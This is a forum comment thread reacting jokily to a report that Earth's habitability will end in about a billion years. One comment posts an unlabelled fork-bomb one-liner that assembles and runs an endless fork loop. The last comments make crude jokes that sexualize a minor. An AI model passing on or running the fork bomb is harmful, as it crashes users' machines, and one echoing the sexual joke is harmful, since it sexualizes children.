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Earth's Period of Habitability Is Nearly Over
xp65 writes "Scientists at this year's XXVIIth General Assembly of the International Astronomical Union in Rio de Janeiro, Brazil agree that we do not yet know how ubiquitous or how fragile life is, but that: 'The Earth's period of habitability is nearly over on a cosmological timescale. In a half to one billion years the Sun will start to be too luminous and warm for water to exist in liquid form on Earth, leading to a runaway greenhouse effect in less than 2 billion years.' Other surprising claims from this conference: that the Sun may not be the ideal kind of star to nurture life, and that the Earth may not be the ideal size."
And to think, we were only 10-20 years away from Cold Fusion....
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Just think--an end to war, violence, depravity, poverty, oppression. Everyone will TRULY become equal then. Who knew the sun could be so... so... progressive?
So Linux on the desktop will really never happen! Pity.
-- Cheers!
The book of Revelation.
Wooosh.*
*Not the sound of the atmosphere evaporating.
I expect this basement to stay nice and cool (read: inhabitable) so long as my parents keep paying the rent.
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If I was God here's how I'd do things
The Bible would have performance targets - e.g. colonise the moon and so on. Once those were achieved I'd just change them retroactively so humans thought they had to do say the moon and mars. Basically every time anyone picked the book up it would tell them that God thinks that as a species we're a day late and a dollar short and he's sick of it. I'd also explain that the dinosaurs didn't meet their targets either and even humans should be able to deduce the consequences of that.
Oh and by the way, FORE!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
World Ends Tomorrow: Women, Minorities Hardest Hit (old journalism joke)
The purpose of this whole post was to tell us about your girlfriends vagina, wasn't it?
My girlfriend's vagina is so tight that there's no way she could give birth naturally,
That will all change after she goes through puberty.